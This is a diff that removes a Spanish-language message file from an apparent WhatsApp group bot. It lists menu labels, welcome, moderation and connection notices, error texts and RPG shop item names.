-const smsListaMenu = () => { return `𝙎𝙚𝙡𝙚𝙘𝙘𝙞𝙤𝙣𝙚 𝙖𝙦𝙪𝙞`}
-const smsLista1 = () => { return `🌟 𝙄𝙣𝙛𝙤𝙧𝙢𝙖𝙘𝙞𝙤𝙣 🌟`}
-const smsLista2 = () => { return `🔰 𝘾𝙧𝙚𝙖𝙙𝙤𝙧 🔰`}
-const smsLista3 = () => { return `🎁 𝘿𝙤𝙣𝙖𝙧 🎁`}
-const smsLista4 = () => { return `🚀 𝙑𝙚𝙡𝙤𝙘𝙞𝙙𝙖𝙙 🚀`}
-const smsLista5 = () => { return `💡 𝙄𝙣𝙛𝙤𝙧𝙢𝙖𝙘𝙞𝙤𝙣 𝙙𝙚𝙡 𝙈𝙚𝙣𝙪 💡`}
-const smsLista6 = () => { return `🌀 𝙈𝙚𝙣𝙪 𝘾𝙤𝙢𝙥𝙡𝙚𝙩𝙤 🌀`}
-const smsLista7 = () => { return `♨️ 𝙄𝙣𝙨𝙩𝙖𝙡𝙖𝙧 𝘽𝙤𝙩 ♨️`}
-const smsLista8 = () => { return `😛 𝙎𝙚𝙧 𝙎𝙪𝙗 𝘽𝙤𝙩 😛`}
-const smsLista9 = () => { return `📄 𝙏𝙚𝙧𝙢𝙞𝙣𝙤𝙨 𝙮 𝘾𝙤𝙣𝙙𝙞𝙘𝙞𝙤𝙣𝙚𝙨 📄`}
-const smsLista10 = () => { return `🌟 𝘼𝙫𝙚𝙣𝙩𝙪𝙧𝙖 🌟`}
-const smsLista11 = () => { return `🏆 𝙏𝙤𝙥 𝙂𝙡𝙤𝙗𝙖𝙡 🏆`}
-const smsLista12 = () => { return `🏅 𝙐𝙨𝙪𝙖𝙧𝙞𝙤 𝙋𝙧𝙚𝙢𝙞𝙪𝙢 🏅`}
-const smsLista13 = () => { return `🎟️ 𝙎𝙚𝙧 𝙋𝙧𝙚𝙢𝙞𝙪𝙢 🎟️`}
-const smsLista14 = () => { return `🛣️ 𝙈𝙞𝙨𝙞𝙤𝙣𝙚𝙨 🛣️`}
-const smsLista15 = () => { return `⚗️ 𝙈𝙚𝙣𝙪 𝙧𝙥𝙜 ⚗️`}
-const smsLista16 = () => { return `🏪 𝙏𝙞𝙚𝙣𝙙𝙖 𝙥𝙖𝙧𝙖 𝙘𝙤𝙢𝙥𝙧𝙖𝙧 🏪`}
-const smsLista17 = () => { return `🎒 INVENTARIO 🎒`}
-const smsLista18 = () => { return `🌟 𝙈𝙪𝙡𝙩𝙞𝙢𝙚𝙙𝙞𝙖 🌟`}
-const smsLista19 = () => { return `📲 𝙈𝙚𝙣𝙪 𝙙𝙚 𝙙𝙚𝙨𝙘𝙖𝙧𝙜𝙖 📲`}
-const smsLista20 = () => { return `🔍 𝙈𝙚𝙣𝙪 𝙙𝙚 𝙗𝙪𝙨𝙦𝙪𝙚𝙙𝙖 🔍`}
-const smsLista21 = () => { return `🛰️ 𝙈𝙚𝙣𝙪 𝙘𝙤𝙣𝙫𝙚𝙧𝙩𝙞𝙙𝙤 🛰️`}
-const smsLista22 = () => { return `🧰 𝙈𝙚𝙣𝙪 𝙢𝙤𝙙𝙞𝙛𝙞𝙘𝙖𝙙𝙤𝙧 𝙙𝙚𝙡 𝙖𝙪𝙙𝙞𝙤 🧰`}
-const smsLista22_1 = () => { return `🔩 𝙈𝙚𝙣𝙪 𝙙𝙚 𝙝𝙚𝙧𝙧𝙖𝙢𝙞𝙚𝙣𝙩𝙖𝙨 🔩`}
-const smsLista23 = () => { return `🌟 𝘿𝙞𝙫𝙚𝙧𝙨𝙞𝙤𝙣 🌟`}
-const smsLista24 = () => { return `🎡 𝙅𝙪𝙚𝙜𝙤𝙨 𝙙𝙞𝙣𝙖𝙢𝙞𝙘𝙤 🎡`}
-const smsLista25 = () => { return `🔊 𝙈𝙚𝙣𝙪 𝙙𝙚 𝘼𝙪𝙙𝙞𝙤𝙨 🔊`}
-const smsLista26 = () => { return `🎈 𝙈𝙚𝙣𝙪 𝙨𝙩𝙞𝙘𝙠𝙚𝙧 𝙮 𝙛𝙞𝙡𝙩𝙧𝙤 🎈`}
-const smsLista27 = () => { return `✨ 𝙈𝙚𝙣𝙪 𝙚𝙛𝙚𝙘𝙩𝙤 𝙮 𝙡𝙤𝙜𝙤𝙨 ✨`}
-const smsLista28 = () => { return `🌅 𝙈𝙚𝙣𝙪 𝙡𝙤𝙜𝙤 2 🌅`}
-const smsLista29 = () => { return `⛩️ 𝙍𝙖𝙣𝙙𝙤𝙬 𝙢𝙚𝙢𝙚 𝙖𝙣𝙞𝙢𝙚 ⛩️`}
-const smsLista30 = () => { return `🔞 𝙈𝙚𝙣𝙪 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 +18 🔞`}
-const smsLista31 = () => { return `🌟 𝙖𝙟𝙪𝙨𝙩𝙚 🌟`}
-const smsLista32 = () => { return `🔰 𝙈𝙚𝙣𝙪 𝙙𝙚 𝙜𝙧𝙪𝙥𝙤 🔰`}
-const smsLista33 = () => { return `📑 𝙏𝙞𝙥𝙤𝙨 𝙙𝙚 𝙡𝙞𝙨𝙩𝙖𝙨 📑`}
-const smsLista34 = () => { return `⚙️ 𝘾𝙚𝙣𝙩𝙧𝙤𝙨 𝙙𝙚𝙡 𝙘𝙤𝙣𝙛𝙞𝙜𝙪𝙧𝙖𝙘𝙞𝙤𝙣 ⚙️`}
-const smsLista35 = () => { return `💎 𝙈𝙚𝙣𝙪 𝙥𝙧𝙤𝙥𝙞𝙚𝙩𝙖𝙧𝙞𝙤𝙨 💎`}
-
-//main.js
-const smsWelcome = () => { return '┏━━━━━━━━━━━━\n┃──〘 *WELCOME* 〙──\n┃━━━━━━━━━━━━\n┃ *Hola @user 👋 Bienvenido a*\n┃ *_@subject ✨_*\n┃\n┃=> *_En este grupo podrás_*\n┃ *_encontrar:_*\n┠⊷ *Amistades 🫂* \n┠⊷ *Desmadre 💃🕺*\n┠⊷ *Relajo 💅*\n┠⊷ *Enemig@s 🥵*\n┠⊷ *Un Bot Sexy*\n┃\n┃=> *_Puedes solicitar mi lista de_*\n┃ *_comandos con:_*\n┠⊷ *#menu*\n┃\n┃=> *_Aquí tienes la descripción_*\n┃ *_del grupo, léela!!_*\n┃\n\n@desc\n\n┃\n┃ *_🥳 Disfruta de tu_*\n┃ *_estadía en el grupo 🥳_*\n┃\n┗━━━━━━━━━━━'}
-const smsBye = () => { return '*'}
-const smsSpromote = () => { return '*𝙃𝙚𝙮 @user 𝘼𝙝𝙤𝙧𝙖 𝙚𝙧𝙚𝙨 𝙖𝙙𝙢𝙞𝙣, 𝙙𝙚𝙡 𝙜𝙧𝙪𝙥𝙤😛!!*'}
-const smsSdemote = () => { return '*𝙃𝙚𝙮 @user 𝙔𝙖 𝙣𝙤 𝙚𝙧𝙚𝙨 𝙖𝙙𝙢𝙞𝙣😐!!*'}
-const smsSdesc = () => { return '*𝐒𝐞 𝐡𝐚 𝐦𝐨𝐝𝐢𝐟𝐢𝐜𝐚𝐝𝐨 𝐥𝐚 𝐝𝐞𝐬𝐜𝐫𝐢𝐩𝐜𝐢𝐨𝐧 𝐝𝐞𝐥 𝐆𝐫𝐮𝐩𝐨*\n\n*𝐍𝐮𝐞𝐯𝐚 𝐝𝐞𝐬𝐜𝐫𝐢𝐩𝐜𝐢𝐨𝐧:*\n\n@desc'}
-const smsSsubject = () => { return '*𝐒𝐞 𝐡𝐚 𝐦𝐨𝐝𝐢𝐟𝐢𝐜𝐚𝐝𝐨 𝐞𝐥 𝐧𝐨𝐦𝐛𝐫𝐞 𝐝𝐞𝐥 𝐠𝐫𝐮𝐩𝐨 𝐧𝐮𝐞𝐯𝐨 𝐧𝐨𝐦𝐛𝐫𝐞:*\n\n@subject'}
-const smsSicon = () => { return '*𝐒𝐞 𝐡𝐚 𝐜𝐚𝐦𝐛𝐢𝐚𝐝𝐨 𝐥𝐚 𝐟𝐨𝐭𝐨 𝐝𝐞𝐥 𝐆𝐫𝐮𝐩𝐨!!*'}
-const smsSrevoke = () => { return '*𝐒𝐞 𝐡𝐚 𝐚𝐜𝐭𝐮𝐚𝐥𝐢𝐳𝐚𝐝𝐨 𝐞𝐥 𝐥𝐢𝐧𝐤 𝐝𝐞𝐥 𝐆𝐫𝐮𝐩𝐨!!*\n*𝐋𝐢𝐧𝐤 𝐧𝐮𝐞𝐯𝐨!!*\n\n*@revoke*'}
-const smsConexion = () => { return `\n▣─────────────────────────────···\n│\n│❧ 𝙲𝙾𝙽𝙴𝙲𝚃𝙰𝙳𝙾 𝙲𝙾𝚁𝚁𝙴𝙲𝚃𝙰𝙼𝙴𝙽𝚃𝙴 𝙰𝙻 𝚆𝙷𝙰𝚃𝚂𝙰𝙿𝙿 ✅\n│\n▣─────────────────────────────···`}
-const smsCargando = () => { return `Ƈᴀʀɢᴀɴᴅᴏ....\n`}
-const smsCodigoQR = () => { return `\n✅ ESCANEA EL CÓDIGO QR EXPIRA EN 45 SEGUNDOS ✅`}
-const smsConexionOFF = () => { return `\n⚠️ SIN CONEXIÓN, BORRE LA CARPETA ${global.authFile} Y ESCANEA EL CÓDIGO QR ⚠️`}
-const smsClearTmp = () => { return `\n╭» 🟢 MULTIMEDIA 🟢\n│→ ARCHIVOS DE LA CARPETA TMP ELIMINADAS\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSession = () => { return `\n╭» 🔵 ${global.authFile} 🔵\n│→ SESIONES NO ESENCIALES ELIMINADAS\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeOldFiles = () => { return `\n╭» 🟠 ARCHIVOS 🟠\n│→ ARCHIVOS RESIDUALES ELIMINADAS\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSessionSB1 = () => { return `\n╭» 🟡 jadibts 🟡\n│→ NADA POR ELIMINAR \n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSessionSB2 = () => { return `\n╭» ⚪ jadibts ⚪\n│→ ARCHIVOS NO ESENCIALES ELIMINADOS\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeSessionSB3 = () => { return `\n╭» 🔴 jadibts 🔴\n│→ OCURRIÓ UN ERROR\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️\n`}
-const smspurgeOldFiles1 = () => { return `\n╭» 🟣 ARCHIVO 🟣\n│→`}
-const smspurgeOldFiles2 = () => { return `BORRADO CON ÉXITO\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️♻️`}
-const smspurgeOldFiles3 = () => { return `\n╭» 🔴 ARCHIVO 🔴\n│→`}
-const smspurgeOldFiles4 = () => { return `NO SE LOGRÓ BORRAR\n╰― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― ― 🗑️❌\n`}
-const smsConexioncerrar = () => { return `\n⚠️ CONEXION CERRADA, RECONECTADO..`}
-const smsConexionperdida = () => { return `\n⚠️ CONEXIÓN PERDIDA CON EL SERVIDOR, RECONECTANDO....`}
-const smsConexionreem = () => { return `\n⚠️ CONEXIÓN REEMPLAZADA, SE HA ABIERTO OTRA NUEVA SESION, POR FAVOR, CIERRA LA SESIÓN ACTUAL PRIMERO.`}
-const smsConexionreinicio = () => { return `\n⚠️ REINICIO NECESARIO, REINICIANDO...`}
-const smsConexiontiem = () => { return `\n⚠️ TIEMPO DE CONEXIÓN AGOTADO, RECONECTANDO..`}
-const smsConexiondescon = (reason, connection) => { return `\n⚠️❗ RAZON DE DESCONEXIÓN DESCONOCIDA: ${reason || ''} >> ${connection || ''}`}
-const smsMainBot = () => { return "SE ACTUALIZÓ 'main.js' CON ÉXITO"}
-
-//_allantilink.js
-const smsTextoYT = () => { return '🤩 𝙎𝙪𝙥𝙚𝙧 𝙏𝙝𝙚-𝙇𝙤𝙡𝙞𝘽𝙤𝙩-𝙈𝘿 - 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 '}
-const smsApagar = () => { return '❌ DESACTIVAR'}
-const smsEncender = () => { return '✅ ACTIVAR'}
-const smsEnlaceTik = () => { return `𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝘿𝙀 𝙏𝙄𝙆𝙏𝙊𝙆 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-const smsEnlaceYt = () => { return `𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝘿𝙀 𝙔𝙊𝙐 𝙏𝙐𝘽𝙀 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-const smsEnlaceTel = () => { return `𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝘿𝙀 𝙏𝙀𝙇𝙀𝙂𝙍𝘼𝙈 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-const smsEnlaceFb = () => { return `𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝘿𝙀 𝙁𝘼𝘾𝙀𝘽𝙊𝙊𝙆 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-const smsEnlaceIg = () => { return `𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝘿𝙀 𝙄𝙉𝙎𝙏𝘼𝙂𝙍𝘼𝙈 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-const smsEnlaceTw = () => { return `𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝘿𝙀 𝙏𝙒𝙄𝙏𝙏𝙀𝙍 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-const smsAllAdmin = () => { return `𝘿𝙀𝘽𝙊 𝘿𝙀 𝙎𝙀𝙍 𝘼𝘿𝙈𝙄𝙉 𝙋𝘼𝙍𝘼 𝙋𝙊𝘿𝙀𝙍 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍 𝘼 𝙄𝙉𝙏𝙍𝙐𝙎𝙊𝙎(𝘼𝙎)`}
-const smsSoloOwner = () => { return `𝙀𝙇/𝙇𝘼 𝙋𝙍𝙊𝙋𝙄𝙀𝙏𝘼𝙍𝙄𝙊(𝘼) 𝘿𝙀𝘽𝙀 𝘼𝘾𝙏𝙄𝙑𝘼𝙍 𝙀𝙎𝙏𝘼 𝙁𝙐𝙉𝘾𝙄𝙊𝙉\n*#on restrict*`}
-
-//handler.js
-const smsCont1 = () => { return `*⚠️ 𝙍𝙚𝙥𝙤𝙧𝙩𝙚 𝙙𝙚 𝙘𝙤𝙢𝙖𝙣𝙙𝙤 𝙘𝙤𝙣 𝙛𝙖𝙡𝙡𝙤𝙨 ⚠️*`}
-const smsCont2 = () => { return `*❏ 𝐏𝐥𝐮𝐠𝐢𝐧:*`}
-const smsCont3 = () => { return `*❏ 𝐔𝐬𝐮𝐚𝐫𝐢𝐨𝐬:*`}
-const smsCont4 = () => { return `*❏ 𝐂𝐨𝐦𝐚𝐧𝐝𝐨:*`}
-const smsCont5 = () => { return `*️❏ 𝐄𝐫𝐫𝐨𝐫:*`}
-const smsCont6 = () => { return `*🚫 𝐑𝐞𝐩𝐨𝐫𝐭𝐞𝐥𝐨 𝐚𝐥 𝐜𝐫𝐞𝐚𝐝𝐨𝐫 𝐝𝐞𝐥 𝐛𝐨𝐭 𝐩𝐚𝐫𝐚 𝐝𝐚𝐫𝐥𝐞 𝐬𝐨𝐥𝐮𝐜𝐢𝐨́𝐧, 𝐩𝐮𝐞𝐝𝐞 𝐮𝐬𝐚𝐫 𝐞𝐥 𝐜𝐨𝐦𝐚𝐧𝐝𝐨 #Reporte*`}
-const smsCont7 = () => { return `${global.lenguajeGB['smsAvisoAG']()}*𝐒𝐮𝐬 𝐝𝐢𝐚𝐦𝐚𝐧𝐭𝐞 💎 𝐬𝐞 𝐡𝐚𝐧 𝐚𝐠𝐨𝐭𝐚𝐝𝐨 𝐩𝐮𝐞𝐝𝐞 𝐜𝐨𝐦𝐩𝐫𝐚𝐫 𝐦𝐚́𝐬 𝐮𝐬𝐚𝐧𝐝𝐨 𝐞𝐥 𝐜𝐨𝐦𝐚𝐧𝐝𝐨*`}
-const smsCont8 = () => { return ` *𝐃𝐢𝐚𝐦𝐚𝐧𝐭𝐞 💎 𝐮𝐬𝐚𝐝𝐨𝐬*`}
-const smsCont9 = () => { return `${global.lenguajeGB['smsAvisoAG']()}*𝐍𝐞𝐜𝐞𝐬𝐢𝐭𝐚 𝐞𝐥 𝐧𝐢𝐯𝐞𝐥 ➡️*`}
-const smsCont10 = () => { return `*𝐏𝐚𝐫𝐚 𝐩𝐨𝐝𝐞𝐫 𝐮𝐬𝐚𝐫 𝐞𝐬𝐭𝐞 𝐜𝐨𝐦𝐚𝐧𝐝𝐨 𝐭𝐮 𝐧𝐢𝐯𝐞𝐥 𝐞𝐬 ➡️*`}
-const smsCont11 = () => { return `*𝐀𝐜𝐭𝐮𝐚𝐥𝐢𝐳𝐚𝐫 𝐭𝐮 𝐧𝐢𝐯𝐞𝐥 𝐜𝐨𝐧 𝐞𝐥 𝐜𝐨𝐦𝐚𝐧𝐝𝐨*`}
-const smsCont12 = () => { return `𝗨𝗡 𝗚𝗥𝗨𝗣𝗢 𝗚𝗘𝗡𝗜𝗔𝗟!! 😼`}
-const smsCont13 = () => { return `𝗔𝗟𝗚𝗨𝗜𝗘𝗡 𝗦𝗘 𝗨𝗡𝗜𝗢!! 🥳`}
-const smsCont14 = () => { return `𝗦𝗘 𝗙𝗨𝗘 𝗔𝗟𝗚𝗨𝗜𝗘𝗡!! 🧐`}
-const smsCont15 = () => { return `𝗛𝗼𝗹𝗮`}
-const smsCont16 = () => { return `𝙇𝘼𝙎 𝙑𝙄𝘿𝙀𝙊𝙇𝙇𝘼𝙈𝘼𝘿𝘼𝙎 📲`}
-const smsCont17 = () => { return `𝙇𝘼𝙎 𝙇𝙇𝘼𝙈𝘼𝘿𝘼𝙎 📞`}
-const smsCont18 = () => { return `𝗡𝗼 𝗲𝘀𝘁𝗮𝗻 𝗽𝗲𝗿𝗺𝗶𝘁𝗶𝗱𝗮𝘀, 𝘀𝗲𝗿𝗮́𝘀 𝗯𝗹𝗼𝗾𝘂𝗲𝗮𝗱𝗼\n\n 𝗦𝗶 𝗮𝗰𝗰𝗶𝗱𝗲𝗻𝘁𝗮𝗹𝗺𝗲𝗻𝘁𝗲 𝗹𝗹𝗮𝗺𝗮𝘀𝘁𝗲 𝗽𝗼́𝗻𝗴𝗮𝗻𝘀𝗲 𝗲𝗻 𝗰𝗼𝗻𝘁𝗮𝗰𝘁𝗼 𝗰𝗼𝗻 𝗺𝗶 𝗰𝗿𝗲𝗮𝗱𝗼𝗿 𝗽𝗮𝗿𝗮 𝗾𝘂𝗲 𝘁𝗲 𝗱𝗲𝘀𝗯𝗹𝗼𝗾𝘂𝗲𝗲! \n 𝗚𝗿𝘂𝗽𝗼 𝗮𝘀𝗶𝘀𝘁𝗲𝗻𝗰𝗶𝗮 𝗳𝗮𝗰𝗲𝗯𝗼𝗼𝗸: https://facebook.com/groups/872989990425789/`}
-const smsCont19 = () => { return `𝘼𝙣𝙩𝙞 𝙙𝙚𝙡𝙚𝙩𝙚`}
-const smsCont20 = () => { return `*┃▢ 𝐍𝐨𝐦𝐛𝐫𝐞:*`}
-const smsCont21 = () => { return `*┃▢ 𝐄𝐧𝐯𝐢𝐚𝐝𝐨 𝐞𝐥 𝐦𝐞𝐧𝐬𝐚𝐣𝐞....*\n\n *▢ Para desactivar esta función envie el comando: .disable delete*`}
-
-//_anti-internacional.js
-const smsInt1 = () => { return `Hey`}
-const smsInt2 = () => { return `el este grupo no esta permido estos numero, por lo cual sera expulsado del grupo bye....`}
-
-//_antilink.js
-const smsAdwa = () => { return `${global.lenguajeGB['smsAvisoEG']()}𝘾𝙊𝙈𝙊 𝙀𝙍𝙀𝙎 𝘼𝘿𝙈𝙄𝙉 𝙀𝙉 𝙀𝙇 𝙂𝙍𝙐𝙋𝙊 𝙉𝙊 𝙎𝙀𝙍𝘼𝙎 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝘿𝙊(𝘼)`}
-const smsEnlaceWat = () => { return `${lenguajeGB['smsAvisoAG']()}𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝘿𝙀 𝙒𝙃𝘼𝙏𝙎𝘼𝙋𝙋 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-
-//_antilink2.js
-const smsEnlaceWatt = () => { return `${lenguajeGB['smsAvisoAG']()}𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝙀𝙉𝙇𝘼𝘾𝙀 𝙋𝙍𝙊𝙃𝙄𝘽𝙄𝘿𝙊 𝙌𝙐𝙀 𝘾𝙊𝙉𝙏𝙄𝙀𝙉𝙀 𝙃𝙏𝙏𝙋𝙎 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n𝙋𝙍𝙊𝘾𝙀𝘿𝙊 𝘼 𝙀𝙇𝙄𝙈𝙄𝙉𝘼𝙍𝙏𝙀`}
-
-//_antispam.js
-const smsNoSpam = () => { return `🤨 No hagas spam, no podra usar a el bot Por 5 Minuto`}
-
-//_antispam_.js
-const smsNoSpam2 = () => { return `Fue desbaneado después de 5 Minuto. por favor no haga spam!!`}
-
-//Texto
-const smsConMenu = () => { return `☘️ 𝗠 𝗘 𝗡 𝗨`} //🟡 NO CAMBIAR
-
-//Error
-const smsMalError = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`OCURRIÓ UN ERROR INESPERADO.\`\`\``}
-const smsMalError2 = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`SURGIÓ UN INCONVENIENTE. INTENTE DE NUEVO.\`\`\``}
-const smsMalError3 = () => { return `${lenguajeGB['smsAvisoFG']()}\`\`\`ALGO SALIÓ MAL, REPORTE ESTE COMANDO USANDO:\`\`\`\n`}
-
-//_antitoxic.js
-const smsToxic1 = () => { return `ɴᴏ 🤬 ᴅᴇᴄɪʀ ᴇsᴛᴀ ᴘᴀʟᴀʙʀᴀ`}
-const smsToxic2 = () => { return `ᴇsᴛᴀ ᴘʀᴏʜɪʙɪᴅᴏ ɴᴏ sᴇᴀs ᴛᴏxɪᴄᴏ(ᴀ) 🤬`}
-const smsToxic3 = () => { return `*ᴀᴅᴠᴇʀᴛᴇɴᴄɪᴀ*\n⚠️`}
-const smsToxic4 = () => { return `😭 𝑳𝒐 𝒔𝒊𝒆𝒏𝒕𝒐`}
-const smsToxic5 = () => { return `☢️ 𝑫𝒆𝒔𝒂𝒄𝒕𝒊𝒗𝒂 𝒂𝒏𝒕𝒊𝒕𝒐𝒙𝒊𝒄`}
-const smsToxic6 = () => { return `ᴛᴇ ʟᴏs ᴀᴅᴠᴇʀᴛɪ ᴠᴀʀɪᴀs ᴠᴇᴄᴇs!!`}
-const smsToxic7 = () => { return `sᴜᴘᴇʀᴀsᴛᴇ ʟᴀs 4 ᴀᴅᴠᴇʀᴛᴇɴᴄɪᴀ ᴀʜᴏʀᴀ sᴇʀᴀ ᴇʟɪᴍɪɴᴀᴅᴏ 😐`}
-
-//Tienda
-const eExp = () => { return '⚡ Experiencia' }
-const eDiamante = () => { return '💎 Diamante' }
-const eDiamantePlus = () => { return '💎+ Diamante+' }
-const eToken = () => { return '🪙 Token' }
-const eEsmeralda = () => { return '💚 Esmeralda' }
-const eJoya = () => { return '♦️ Joya' }
-const eMagia = () => { return '🌀 Magia' }
-const eOro = () => { return '👑 Oro' }
-const eGataCoins = () => { return '🐱 LoliCoins' }
-const eGataTickers = () => { return '🎫 Loli Tickers' }
-const eEnergia = () => { return '✨ Energía' }
-const ePocion = () => { return '🥤 Poción' }
-const eAgua = () => { return '💧 Agua' }
-const eBasura = () => { return '🗑 Basura' }
-const eMadera = () => { return '🪵 Madera' }
-const eRoca = () => { return '🪨 Roca' }
-const ePiedra = () => { return '🥌 Piedra' }
-const eCuerda = () => { return '🕸️ Cuerda' }
-const eHierro = () => { return '⛓️ Hierro' }
-const eCarbon = () => { return '⚱️ Carbón' }
-const eBotella = () => { return '🍶 Botella' }
-const eLata = () => { return '🥫 Lata' }
-const eCarton = () => { return '🪧 Cartón' }
-const eEletric = () => { return '💡 Electricidad' }
-const eBarraOro = () => { return '〽️ Barra de Oro' }
-const eOroComun = () => { return '🧭 Oro Común' }
-const eZorroG = () => { return '🦊🌫️ Zorro Grande' }
-const eBasuraG = () => { return '🗑🌫️ Super Basura' }
-const eLoboG = () => { return '🐺🌫️ Super Lobo' }
-const eMaderaG = () => { return '🛷🌫️ Super Madera' }
-const eEspada = () => { return '⚔️ Espada' }
-const eCarnada = () => { return '🪱 Carnada' }
-const eBillete = () => { return '💵 Billetes' }
-const ePinata = () => { return '🪅 Piñata' }
-const eGancho = () => { return '🪝 Gancho' }
-const eCanaPescar = () => { return '🎣 Caña de Pescar' }
-const eCComun = () => { return '📦 Caja Común' }
-const ePComun = () => { return '🥡 Caja Poco Común' }
-const eCMistica = () => { return '🗳️ Caja Mítica' }
-const eCMascota = () => { return '📫 Caja de Mascotas' }
-const eCJardineria = () => { return '💐 Caja de Jardinería' }
-const eClegendaria = () => { return '🎁 Caja Legendaria' }
-const eUva = () => { return '🍇 Uva' }
-const eManzana = () => { return '🍎 Manzana' }
-const eNaranja = () => { return '🍊 Naranja' }
-const eMango = () => { return '🥭 Mango' }
-const ePlatano = () => { return '🍌 Platano' }
-const eSUva = () => { return '🌾🍇 Semillas de uva' }
-const eSManzana = () => { return '🌾🍎 Semillas de manzana' }
-const eSNaranja = () => { return '🌾🍊 Semillas de naranja' }
-const eSMango = () => { return '🌾🥭 Semillas de Mango' }
-const eSPlatano = () => { return '🌾🍌 Semillas de plátano' }
-const eCentauro = () => { return '🐐 Centauro' }
-const eAve = () => { return '🦅 Ave' }
-const eGato = () => { return '🐈 Gato' }
-const eDragon = () => { return '🐉 Dragón' }
-const eZorro = () => { return '🦊 Zorro' }
-const eCaballo = () => { return '🐎 Caballo' }
-const eFenix = () => { return '🕊️ Fénix' }
-const eLobo = () => { return '🐺 Lobo' }
-const ePerro = () => { return '🐶 Perro' }
-const eAMascots = () => { return '🍖 Alimento para Mascota' }
-const eCCentauro = () => { return '🐐🥩 Comida de Centauro' }
-const eCAve = () => { return '🦅🥩 Comida de Ave' }
-const eCMagica = () => { return '🌀🥩 Comida Mágica' }
-const eCDragon = () => { return '🐉🥩 Comida de Dragón' }
-const eACaballo = () => { return '🐎🥩 Alimentos Para Caballo' }
-const eCFenix = () => { return '🕊️🥩 Comida de Fénix' }
-
-//config-on y off.js
-const smsWel1 = () => { return `🎉 BIENVENIDA`}
-const smsWel2 = () => { return `Mensaje de Bienvenida para nuevos Miembros en Grupos`}
-const smsDete1 = () => { return `🔔 AVISOS`}
-const smsDete2 = () => { return `Avisos de acciones dentro del Grupo`}
-const smsANivel1 = () => { return `🆙 NIVEL AUTOMÁTICO`}
-const smsANivel2 = () => { return `Sube de nivel a todos de manera automática; (Aplica recompensas por subir de Nivel)`}
-const smsRestri1 = () => { return `⛔ RESTRINGIR`}
-const smsRestri2 = () => { return `Habilitar función para agregar o eliminar personas en Grupos`}
